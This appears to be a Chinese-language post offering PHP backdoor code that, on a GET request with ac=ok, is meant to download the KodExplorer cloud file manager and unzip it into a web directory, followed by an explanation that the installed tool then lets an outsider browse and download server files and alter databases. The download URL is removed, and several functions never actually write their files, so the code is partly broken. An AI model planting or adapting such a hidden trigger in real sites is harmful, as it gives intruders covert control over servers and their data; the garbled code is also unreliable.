通过安装可道云从而控制服务器,PHP后门代码
if($_GET['ac']=="ok"){ echo 'OK'; function downFile($url,$path){ $arr=parse_url($url); $fileName=basename($arr['path']); $file=file_get_contents($url); } downFile("这里是网络下载地址,防止小人,直接删除这里的连接"); class Unzip{ public function __construct(){ header("content-type:text/html;charset=utf8"); } public function unzip($src_file, $dest_dir=false, $create_zip_name_dir=true, $overwrite=true){ if ($zip = zip_open($src_file)){ if ($zip){ $splitter = ($create_zip_name_dir === true) ? "." : "/"; if($dest_dir === false){ } $this->create_dirs($dest_dir); while ($zip_entry = zip_read($zip)){ $pos_last_slash = strrpos(zip_entry_name($zip_entry), "/"); if ($pos_last_slash !== false){ $this->create_dirs($dest_dir.substr(zip_entry_name($zip_entry), 0, $pos_last_slash+1)); } if (zip_entry_open($zip,$zip_entry,"r")){ $file_name = $dest_dir.zip_entry_name($zip_entry); if ($overwrite === true || $overwrite === false && !is_file($file_name)){ $fstream = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)); } zip_entry_close($zip_entry); } } zip_close($zip); } }else{ return false; } return true; } public function create_dirs($path){ if (!is_dir($path)){ $directory_path = ""; $directories = explode("/",$path); array_pop($directories); foreach($directories as $directory){ $directory_path .= $directory."/"; if (!is_dir($directory_path)){ mkdir($directory_path); chmod($directory_path, 0777); } } } } } $z = new Unzip(); $z->unzip("kodexplorer4.39.zip",'./', true, false); }
当收到GET请求ac=ok时。会自动的下载kodexplorer4.39.zip 可道云。知道可道云的自然是知道这个代码是怎么工作的了。不知道的我给大家简单的解释一下吧,可道云是一个私有云系统,运行在虚拟主机和服务器下。当下载解压完之后这货就成了你的服务器后门。别人可以通过可道云查看你的服务器内容。可以下载你服务器的文件,并且连接数据库修改数据。